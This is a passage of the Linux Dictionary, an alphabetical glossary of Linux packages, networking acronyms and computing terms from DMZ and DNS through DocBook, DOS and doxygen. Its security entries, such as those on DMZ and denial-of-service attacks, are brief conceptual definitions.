Debug memory allocation library (non-threaded) Drop in replacement for the system's `malloc', `realloc', `calloc', `free' and other memory management routines while providing powerful debugging facilities configurable at runtime. These facilities include such things as memory-leak tracking, fence-post write detection, file/line number reporting, and general logging of statistics. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DMAPI

DECT Multimedia Access Protocol (DECT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmpi

Data Management API runtime environment Files required by system software using the Data Management API (DMPAPI). This is used to implement the interface defined in the X/Open document: Systems Management: Data Storage Management (XDSTM) API dated February 1997. This interface is implemented by the libdm library. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DMB

Digital Multimedia Broadcasting (Telekom, Blaupunkt, DAB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmbt

Debian maintainer's bug-tool A GNOME-based tool and a set of perl packages to help a Debian maintainer manage the bugs reported against his/her packages. This software is in the very early stages of development. All feedback will be appreciated. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DMC

Desktop Multimedia Conferencing From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

In firewalls, a DMZ is an area that is mostly public to the Internet. This is where a companies web, e-mail, and DNS servers are located. A DMZ often has some limited protection, but since it is very exposed to the Internet, the assumption is that the machines in the zone will eventually be compromised. Therefore, the machines often have as little connectivity to the private network as any other machine from the Internet. From Hacking-Lexicon

DNS

DOMAIN Name System (Internet, RFC 1034/1035, DNS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNS

See domain name system (DNS). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNS (Domain Name System)

Analogy: When calling somebody via the telephone, you can lookup their name in the phone book in order to find the telephone number. DNS is a similar directory service. When contacting a web site, your browser looks up the name in DNS in order to find the IP number. History: DNS is relatively new. When the Internet was small, every machine simply had a list of all other machines on the Internet (stored in /etc/hosts). Generally, people just had the IP addresses of machines memorized in much the same way that people memorize phone numbers today. Key point: DNS is not needed for communication. If a DNS server goes down, newbies will think that the entire network is down. Hackers frequently deal with raw IP addresses, and indeed often bypass DNS entirely as it may give off signs of an attack. Key point: The DNS hierarchy starts from the "top level domains" of .com, .net, .org, .edu, .gov, .mil, and the two-letter country codes (e.g. .us for United States, .jp for Japan). Misunderstanding: Both IP addresses and domain names use dots: "www.robertgraham.com" vs. "192.0.2.133". This has no significance; the usage of these dots is unrelated. Trying to match things up one-to-one is wrong (i.e. ".com" == "192."). Analogy: What is your phone number? If I asked you this, you could give me both your home number and your cell phone number. I can reach you at either one. In much the same way, the a domain name like <http://www.yahoo.com/> can have multiple IP addresses. Every time you visit that site, you might go to a separate IP address. You can test this out yourself. Go to the command-line and type "ping www.yahoo.com". Notice how it comes back with an IP address that it pings. After that runs, try it again. Notice how the second time it is pinging a different IP address. Details: DNS provides a number of resource records (RR): A ^ The normal record that contain an name to IP address mapping. LOC ^ The geographic location containing latitude, longitude, altitude, and size. Altitude is meters above sea level. Size is the exponent in the in

meters of the volumetric size of the object. Hackers sometimes use these records to find where you are located physically. Humor: The original name of this record was ICBM. HOST ^ HOST records can contain information about the machine, such as if it is a Windows or UNIX machine.

Administrators probably should not fill them in; they are dangerous. PTR. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNS (Domain Name System)

This system maps hostnames to IP numbers. DNS is the Domain Name System. DNS converts machine names to the IP addresses that all machines on the net have. It translates (or "maps" as the jargon would have it) from name to address and from address to name, and some other things. This HOWTO documents how to define such mappings using Unix system, with a few things specific to Linux. A mapping is simply an association between two things, in this case a machine name, like ftp.linux.org, and the machine's IP number (or address) 199.249.150.4. DNS also contains mappings the other way, from the IP number to the machine name; this is called a "reverse mapping". DNS is, to the uninitiated (you ;-), one of the more opaque areas of network administration. Fortunately DNS isn't really that hard. This HOWTO will try to make a few things clearer. It describes how to set up a simple DNS name server, starting with a caching only server and going on to setting up a primary DNS server for a domain. For more complex setups you can check the qanda section of this document. If it's not described there you will need to read the Real Documentation. I'll get back to what this Real Documentation consists of in the last chapter. Before you start on this you should configure your machine so that you can telnet in and out of it, and successfully make all kinds of connections to the net, and you should especially be able to do telnet 127.0.0.1 and get your own machine (test it now!). You also need good /etc/nsswitch.conf, /etc/resolv.conf and /etc/hosts files as a starting point, since I will not explain their function here. If you don't already have all this set up and working the Networking-HOWTO and/or the Networking-Overview-HOWTO explains how to set it up. Read them. When I say `your machine' I mean the machine you are trying to set up DNS on, not any other machine you might have that's involved in your networking effort. I assume you're not behind any kind of firewall that blocks name queries. If you are you will need a special configuration --- see the section on qanda. Name serving on Unix is done by a program called named. This is a part of the ``BIND" package which is coordinated by The Internet Software Consortium. Named is included in most Linux distributions and is usually installed as /usr/sbin/named, usually from a package called BIND, in upper or lower case depending on the whim of the packager. If you have a named you can probably use it; if you don't have one you can get a binary off a Linux ftp site, or get the latest and greatest source from ftp://ftp.isc.org/isc/bind9/. This HOWTO is about BIND version 9. The old versions of the HOWTO, about BIND 4 and 8, is still available at <http://langfeldt.net/DNS-HOWTO/> in case you use BIND 4 or 8 (incidentally, you will find this HOWTO there too). If the named man page talks about (at the very end, in the FILES section) named.conf you have BIND 8; if it talks about named.boot you have BIND 4. If you have 4 and are security conscious you really ought to upgrade to the latest version of BIND 8. Now. DNS is a net-wide database. Take care about what you put into it. If you put junk into it, you, and others, will get junk out of it. Keep your DNS tidy and consistent and you will get good service from it. Learn to use it, admin it, debug it and you will be another good admin keeping the net from falling to its knees by mismanagement. Tip: Make backup copies of all the files I instruct you to change if you already have them, so that if after going through this nothing works you can get it back to your old, working state. From DNS-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dns-browse

Frontends to DNS search. This package provides two programs to make user lookups on DNS servers: dns_tree and dns_browse. dns_tree is a command-line-based front-end to dig. It replaces the several dig invocations necessary to fetch a zone, and it formats the output in a somewhat sensible hierarchical style (a tree). dns_browse is a GUI front-end to dns_tree. It allows point-and-click DNS browsing and makes it easy to expand/compress hierarchies in one or more DNS zones. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dns-helper

Non-blocking name resolver interface. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnscvsutil

Maintain DNS zone files under CVS control Maintain your DNS zone files under CVS control, and possibly automatically updating reverse zones. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnsdomainname

show the system's DNS domain name From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnsmasq

A caching DNS forwarder. Dnsmasq is lightweight, easy to configure DNS forwarder designed to provide DNS (domain name) services to a small network where using BIND would be overkill. It can have its upstream DNS servers automatically configured by PPP or DHCP and it can serve the names of local machines which are not in the global DNS. It can integrate with the ISC DHCP daemon to serve the names of local machines which are configured using DHCP. Dnsmasq is ideal for networks behind NAT routers and connected via modem, ISDN, ADSL, or cable-modem. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNSO

Defense Network Systems Organization (org., USA, mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNSO

Domain Name Supporting Organization (org., ICANN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNSSEC

A secure form of DNS. Its primary use is for updating DNS servers. TODO Algorithms: RSA, MD5. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnssec-keygen

DNSSEC key generation tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnssec-makekeyset

DNSSEC zone signing tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnssec-signkey

DNSSEC key set signing tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnssec-signzone

DNSSEC zone signing tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNSTAN

Digitale NebenSTellenANlagen (Telekom), "DNStAn" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnstracer

Trace DNS queries to the source dnstracer determines where a given Domain Name Server (DNS) gets its information from for a given hostname, and follows the chain of DNS servers back to the authoritative answer. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnsutils

Clients provided with BIND This package delivers various client programs related to DNS that are derived from the BIND source tree. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dnswalk

Linux Dictionary

Checks dns zone information using nameserver lookups dnswalk is a DNS debugger. It performs zone transfers of specified domains, and checks the database in numerous ways for internal consistency, as well as accuracy. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNUG

Deutsche Notes User Group [e.v.] (org., user group, Lotus) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DNX

Departmental Network eXchange [bridging router] (SNA, SDLC, Proteon) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DO

Distributed Objects (NeXT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOAM

Distributed Office Applications Model (ISO, IEC, DIS 10031-1 f.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doc

/dok/ n. Common spoken and written shorthand for 'documentation'. Often used in the plural 'docs' and in the construction 'doc file' (i.e., documentation available on-line). From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOC

De.Org.CCC (Usenet, CCC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doc++

A documentation system for C/C++, IDL and Java DOC++ is a documentation system for C/C++, IDL and Java generating both LaTeX output for high quality hardcopies and HTML output for sophisticated online browsing of your documentation. The documentation is extracted directly from the C/C++/IDL header/source files or Java class files. Here are a list of the highlights: – hierarchically structured documentation – automatic class graph generation (as Java applets for HTML) – cross references – high end formatting support including typesetting of equations For more information about DOC++ please take a look at it's home page at <http://docpp.sourceforge.net/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doc-base

Utilities to manage online documentation This package contains utilities to manage online documentation on a Debian system. If you want to get additional information about doc-base please check out the 'Debian doc-base Manual' included in this package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doc-central

web-based documentation browser Doc-Central is a tool to browse the documentation installed on your system using their doc-base entries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doc-debian

Debian Project documentation, Debian FAQ and other documents The Debian Project is an association of individuals who have made common cause to create a free operating system. In this package, you will find: * Debian Linux Manifesto, * Constitution for the Debian Project, * Debian GNU/Linux Social Contract, * Debian Free Software Guidelines. Additionally provided are: * Debian GNU/Linux Frequently Asked Questions (FAQ), * Debian Bug Tracking System documentation, and * Introduction to the Debian mailing lists. All of these files are available at <ftp://ftp.debian.org/debian/doc/> and mirrors thereof. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook

SGML DTD for authors of technical documentation DocBook is an SGML vocabulary particularly well suited to books and papers about computer hardware and software (though it is by no means limited to these applications). It has emerged as an open, standard DTD in the software industry, and is used to document many free software projects. This package contains the SGML DTD for DocBook, which describes the formal structure of documents complying this format. If you wish to author XML documents, see the 'docbook-xml' package. It is a part of Debian's SGML/XML infrastructure, along with other DTDs, tools for parsing, validating, and styling, and formatting SGML and XML documents. This package includes the 2.4.1, 3.0, 3.1, 4.0, and 4.1 versions of the DocBook SGML DTD. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-dsssl

Modular DocBook DSSSL stylesheets, for print and HTML This package enables the use of DSSSL styling (formatting for output) with DocBook SGML or XML files. This package contains two DocBook DSSSL stylesheets, one for "print" output and one for HTML. The print stylesheet can be used in conjunction with the RTF and the TeX back-ends that Jade provides to produce output suitable for printing. The HTML stylesheet can be used to convert DocBook documents into HTML. The stylesheets are modular in design so that you can extend and customize them. Author: Norman Walsh <ndw@nwalsh.com> Homepage: <http://docbook.sourceforge.net/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-dtds

The DocBook Document Type Definition (DTD) describes the syntax of technical documentation texts (articles, books and manual pages). This syntax is XML-compliant and is developed by the OASIS consortium. This package contains SGML and XML versions of the DocBook DTD up to and including version 4.1.2. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-style-dsssl

This package contains DSSSL stylesheets for converting any DocBook document to another printed (for example, RTF or PostScript) or online (for example, HTML) format. These stylesheets are highly customizable. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-style-xsl

These XSL stylesheets allow you to transform any DocBook XML document to other formats, such as HTML, FO, and XHTML. They are highly customizable. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-to-man

Converter from DocBook SGML into roff -man macros. The docbook-to-man tool is a batch converter that transforms UNIX-style manpages from the DocBook SGML DTD into nroff/troff -man macros. This is not the original version by Fred Dalrymple, but one with the ANS modifications by David Bolen. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-utils

Convert Docbook files to other formats (HTML, RTF, Postscript, PDF) The docbook-utils is a set of a few small programs intended to ease everyday use of technical documentation software and more generally use of SGML and XML. Tasks they currently accomplish are: * jw: convert Docbook files to other formats (HTML, RTF, Postscript, PDF). * sgmldiff: detect the differences in markup between two SGML files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-utils

This package contains scripts are for easy conversion from DocBook files to other formats (for example, HTML, RTF, and PostScript), and for comparing SGML files. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-utils-pdf

This package contains a script for converting DocBook documents to PDF format. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-website

XML Website DTD and XSL Stylesheets A docbook-derived XML DTD for building web sites. This package includes the xsl stylesheets for this DTD. This version is a customization of the DocBook XML V4.1.2 DTD. Author: Norman Walsh <ndw@nwalsh.com> Homepage:

<http://sourceforge.net/projects/docbook/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-xml

XML DTD for DocBook, also known as DocBk XML An XML representation of the DocBook DTD, which is sometimes referred to as DocBk XML. This is a DTD widely used for documenting software and other technical topics. This package ships with the newest DocBook XML DTD, as well as a select set of legacy DTDs for use with older documents. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-xsl

Stylesheets for processing DocBook XML files to HTML and FO. These are modular XSL stylesheets for processing documents composed with the DocBook XML DTD and its derivatives ("Simplified" DocBook XML, JRefEntry DTD, etc.). The documentation is included in the package. The stylesheets provide XSLT transformations for both HTML and Formatting Object output. The latter can be further processed to a number of print formats using FOP or TeX-based tools. The stylesheets are modular in the sense that you can extend and, to some extent, customize them. Included are extension classes for the Saxon and Xalan2 XSLT processors. The documentation is included in this package. For quickstart instructions, see /usr/share/doc/docbook-xsl/README.Debian Author: Norman Walsh <ndw@nwalsh.com> Homepage: <http://sourceforge.net/projects/docbook> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

docbook-xsl-stylesheets

Stylesheets for processing DocBook XML files to HTML and FO. These are modular XSL stylesheets for processing documents composed with the DocBook XML DTD and its derivatives ("Simplified" DocBook XML, JRefEntry DTD, etc.). The documentation is included in the package. The stylesheets provide XSLT transformations for both HTML and Formatting Object output. The latter can be further processed to a number of print formats using FOP or TeX-based tools. The stylesheets are modular in the sense that you can extend and, to some extent, customize them. The documentation is included in this package. Author: Norman Walsh <ndw@nwalsh.com> Homepage: <http://sourceforge.net/projects/docbook> From Debian 3.0r0 APT

DOE

Distributed Objects Everywhere (Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dog

Enhanced replacement for cat dog writes the contents of each given file, URL or standard input to standard output. It currently supports file, http and raw URLs. It is designed as a compatible, but enhanced replacement for cat. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOM

Disk On Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOM

Document Object Model (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOM (Document Object Model)

An application programming interface (API) for HTML and XML documents. It defines the logical structure of documents and the way a document is accessed and manipulated. In the DOM specification, the term "document" is used in the broad sense – increasingly, XML is being used as a way of representing many different kinds of information that may be stored in diverse systems, and much of this would traditionally be seen as data rather than as documents. Nevertheless, XML presents this data as documents, and the DOM may be used to manage this data. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Domain

An internet 'domain' is a subsection of the internet. The primary domains of the internet are .COM, .NET, .MIL, and .ORG, which refer to Commercial, Network, Military, and Organization. These domains are administered by the Internic. Each domain has a primary and secondary Domain Name Server associated with it. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOMAIN

Distributed Operating Multi Access Interactive Network (Apollo, Internet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Domain

The part of the Internet address that specifies your computer's location in the world. The address is written as a series of names separated by full stops. For example, the Domain name at Global SchoolHouse Foundation is www.gsh.org—this shows that Global SchoolHouse Foundation is an organization. The another example, www.statistik.uni-dortmund.de, shows that Statistics faculty is in the University of Dortmund, and the last de shows the it is in Germany (Deutschland). The German word for Germany is (de)utschland. The most common top level domains: .edu Educations(US).net network resource .com Commercial(US) www.aspensys.com .org Organization(US) .de (Code for Germany..) .gov Public bodies <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

domain

The site's name that an organization uses; for example, Red Hat has a domain name of redhat.com.

From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Domain Name

The unique name that identifies an Internet site. Domain Names always have 2 or more parts, separated by dots. The part on the left is the most specific, and the part on the right is the most general. A given machine may have more than one Domain Name but a given Domain Name points to only one machine. For example, the domain names: matisse.net mail.matisse.net workshop.matisse.net can all refer to the same machine, but each domain name can refer to no more than one machine. Usually, all of the machines on a given Network will have the same thing as the right-hand portion of their Domain Names (matisse.net in the examples above). It is also possible for a Domain Name to exist but not be connected to an actual machine. This is often done so that a group or business can have an Internet e-mail address without having to establish a real Internet site. In these cases, some real Internet machine must handle the mail on behalf of the listed Domain Name.

From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Domain Name Server

Each internet domain has two domain name servers, or DNS. The primary DNS for a domain is usually located on one of the machine in that network, you can often determine the server from the output of the nslookup command. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

domain name system (DNS)

A service database that translates an IP address into a domain name (like redhat.com). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

domainname

A name "key" that is used by NIS clients to be able to locate a suitable NIS server that serves that domainname key. Please note that this does not necessarily have anything at all to do with the DNS

"domain" (machine name) of the machine(s). From NIS HOWTO
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dome

calculates and draws geodesic domes DOME is a program which calculates the properties of a geodesic dome symmetry triangle. DOME calculates spherical vertex coordinates, symmetry triangle topological abundance, and chord factors. DOME supports class I (alternate) and class II (triac on) breakdowns for Icosahedron, Octahedron and Tetrahedron polyhedron types. DOME also supports "Buckyball" formations as well as elliptical geodesics. See the Applied Synergetics Homepage (<http://www.cris.com/~rjbono/index.html>) for image samples and links to other Synergetics Web sites. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOME

Distributed Object Management Environment (ORB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOMF

Distributed Object Management Facility (Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dongle

1. A connector that attaches a conduit (such as a phone line or Ethernet cable) to a PCMCIA card. 2. A hardware attachment that authorizes a computer system to run a particular application. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

donkey

One Time Password calculator. Donkey is an alternative for S/KEY's "key" command. This means that donkey is also an alternative for "keyinit". Since the entry is printed to stdout (not to /etc/skeykeys), you can easily sent it to remote operator by e-mail (with PGP signature or something). So, it possible to initiate S/KEY without login from the console of the host. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOOM

Decentralised Object Orientated Machine From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doomlegacy

A port of the Doom engine that supports OpenGL Doom Legacy features 32-Player multiplayer over TCP/IP, high resolutions, OpenGL rendering, compatibility to most of the other ports extensions, and much more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOP

Directory Operational binding management Protocol From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dopewars

Make a fortune dealing drugs on the streets of New York dopewars is a UNIX rewrite of the MS-DOS program of the same name, which in turn was inspired by John E. Dell's "Drug Wars" game. You have one month to buy and sell drugs on the streets of New York, the aim being first to pay off your debt to the loan shark and then to make a fortune. And if you have to shoot a few cops in the process, well... The game includes TCP networking allowing you to meet (and shoot) other human drug dealers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOS

Denial Of Service [attack], "DoS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOS

Disk Operating System (OS, IBM, MS, ..., PC, Apple, RCA Spectra 70) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DoS (Denial of Service)

An exploit whose purpose is to deny somebody the use of the service: namely to crash or hang a program or the entire system. Example: Some classes of DoS are: traffic flood Overwhelms the Internet connection. Because it is the Internet connection itself that is attacked, there isn't much the victim can do to stop the attack. A firewall might block the flood from going any further, but the Internet connection in front of the firewall is still overloaded. application floods or bombs Overwhelms a program with too many events. A firewall that allows the traffic cannot block these attacks. For example, a firewall configured to allow IRC cannot selectively block just the flood but allow all other traffic. Common services attacked this way are IRC, HTTP, and e-mail (SMTP). remote system crash/hang Historically, there have been a lot of ways of remotely crashing machines. These attack the TCP/IP stack within the system causing it to crash or hang. This affects all software running on the system. remote service crash Crashes just the application/service. This doesn't affect other software running on the system. Example: Some famous DoS attacks are: Ping of Death This exploit crashed most machines vintage 1995 by sending illegally fragmented packets at a victim. Even as late as 2000, some systems were vulnerable to variants of this DoS, such as the Jolt2 attack against Windows systems. SYN flood ping flood WinNuke Sending OOB/URG data across a TCP connection to Windows. teardrop Sends overlapping IP fragments at the victim. Overlapping IP fragments should normally never happen. This means that the code to handle them has never been tested -- and therefore many bugs exist. land (latierra) An attacker can forge a packet that is sent from the victim's machine to the victim's machine, which can cause it to reply back to itself in an infinite loop. targa A tool that includes many popular DoS attacks (by Mixer). Culture: A common word for DoS is "nuke", which was first popularized by the WinNuke program (a simple ping-of-death exploit script. These days, "nukes" are those DoS exploits that script kiddies in chat rooms use against each other. See also: SYN flood From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOS15

Disk Operating System – 15 (OS, DEC, PDP 15), "DOS-15" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dos2unix

The dos2unix utility converts DOS or MAC format text files to UNIX format. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOS360

Disk ??? Operating System / 360 (OS, IBM S/360), "DOS/360" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doschk

SYSV and DOS filename conflicts check Checks filenames for conflicts under 14-character SYSV and 8.3 DOS limitations. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dosemu

The Linux DOS Emulator DOSEMU is a PC Emulator application that allows Linux to run a DOS operating system in a virtual x86 machine. This allows you to run many DOS applications. – Includes the FreeDOS kernel. – Color text and full keyboard emulation (via hotkeys) via terminal. – Built-in X support, includes IBM character set font. – Graphics capability at the console with most compatible video cards. – DPMI support so you can run DOOM. – CDROM support. – Builtin IPX and pktdrvr support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOSemu

To quote the manual, "dosemu" is a user-level program which uses certain special features of the Linux kernel and the 80386 processor to run MS-DOS/FreeDOS/DR-DOS in what we in the biz call a `DOS box.' The DOS box, a combination of hardware and software trickery, has these capabilities: the ability to virtualize all input/output and processor control instructions, the ability to support the word size and addressing modes of the iAPX86 processor family's "real mode," while still running within the full protected mode environment, the ability to trap all DOS and BIOS system calls and

emulate such calls as are necessary for proper operation and good performance, the ability to simulate a hardware environment over which DOS programs are accustomed to having control, the ability to provide DOS services through native Linux services; for example, dosemu can provide a virtual hard disk drive which is actually a Linux directory hierarchy." From DOSEMU-HOWTO

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dosfstools

Inside of this package there are two utilities to create and to check MS-DOS FAT filesystems on either harddisks or floppies under Linux. This version uses the enhanced boot sector/superblockformat of DOS 3.3+ as well as provides a default dummy boot sector code. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dosfstools

The dosfstools package includes the mkdosfs and dosfsck utilities, which respectively make and check MS-DOS FAT filesystems on harddrives or on floppies. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dosfstools

Utilities to create and check MS-DOS FAT filesystems Inside of this package there are two utilities to create and to check MS-DOS FAT filesystems on either harddisks or floppies under Linux. This version uses the enhanced boot sector/superblock format of DOS 3.3+ as well as provides a default dummy boot sector code. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOSS

Dedicated Office Systems and Services From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dossizola

An Isola board game with nice graphics. The goal of Do'SSi Zo'la is to block the opponent by destroying the squares which surround him. In each turn, each player must first move to one of the squares adjacent to his current position, and then destroy a square of his choice. The first player who is unable to move loses. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOSVS

Disk ??? Operating System / Virtual Storage (OS, IBM S/370), "DOS/VS" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOSVSE

Disk ??? Operating System / Virtual Storage Extended (OS, IBM 43XX, DOS/VS, VSE), "DOS/VSE" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dot file

A file that is hidden from general file browsing partly because it contains important configuration options. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Dot file

In UNIX, a file that has a name preceded by a dot. Such a file normally isn't displayed by UNIX file-listing utility programs. Dot files are frequently used for user configuration files, such as a file that lists the newsgroups the user regularly consults. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dot file

[Unix] n. A file that is not visible by default to normal directory-browsing tools (on Unix, files named with a leading dot are, by convention, not normally presented in directory listings). Many programs define one or more dot files in which startup or configuration information may be optionally recorded; a user can customize the program's behavior by creating the appropriate file in the current or home directory. (Therefore, dot files tend to creep -- with every nontrivial application program defining at least one, a user's home directory can be filled with scores of dot files, of course without the user's really being aware of it.) See also profile (sense 1), rc file. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dot-matrix

In printing, a type of printer that uses tiny hammers that strike the printer paper to form characters and images. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dotfile

Easy configuration of popular programs through Tcl/Tk interface The Dotfile Generator is a configuration tool, which configures the basic features, and even more exotic features of your favorite programs. It translates information from check boxes, entries, menus etc. to some sort of code (eg. Lisp, C, the configuration language for the fvwm window manager, or any other textual code). This transformation is coded in modules, where the programmer tells which elements are to be shown (a check button, listbox, etc.) and gives some help on each element. With this release, modules exist for configuring bash, fvwm1, fvwm2, tcsh, elm, rtin, ipfwadm, procmail and canna, and they can be found in separate packages named dotfile-<program>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dotlockfile

Utility to manage lockfiles From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

double-click

To tap the mouse button twice in succession to activate desktop objects. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOV

Data Over Voice [MODEM] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DOW

Direct OverWrite (MO, ...) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Download

The process of taking information stored on the internet and copying it to your computer's hard disk. You may find yourself downloading the latest shareware from a site such as <http://www.search.com/>. To transfer files from a server to a PC across a network (Internet). From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

downtime

The length of time a computer is not functioning (down). It is the reverse of uptime. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doxygen

Documentation system for C, C++ and IDL. Doxygen is a documentation system for C, C++ and IDL. It can generate an on-line class browser (in HTML) and/or an off-line reference manual (in LaTeX) from a set of documented source files. There is also support for generating man pages and for converting the generated output into Postscript, hyperlinked PDF or compressed HTML. The documentation is extracted directly from the sources. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doxygen

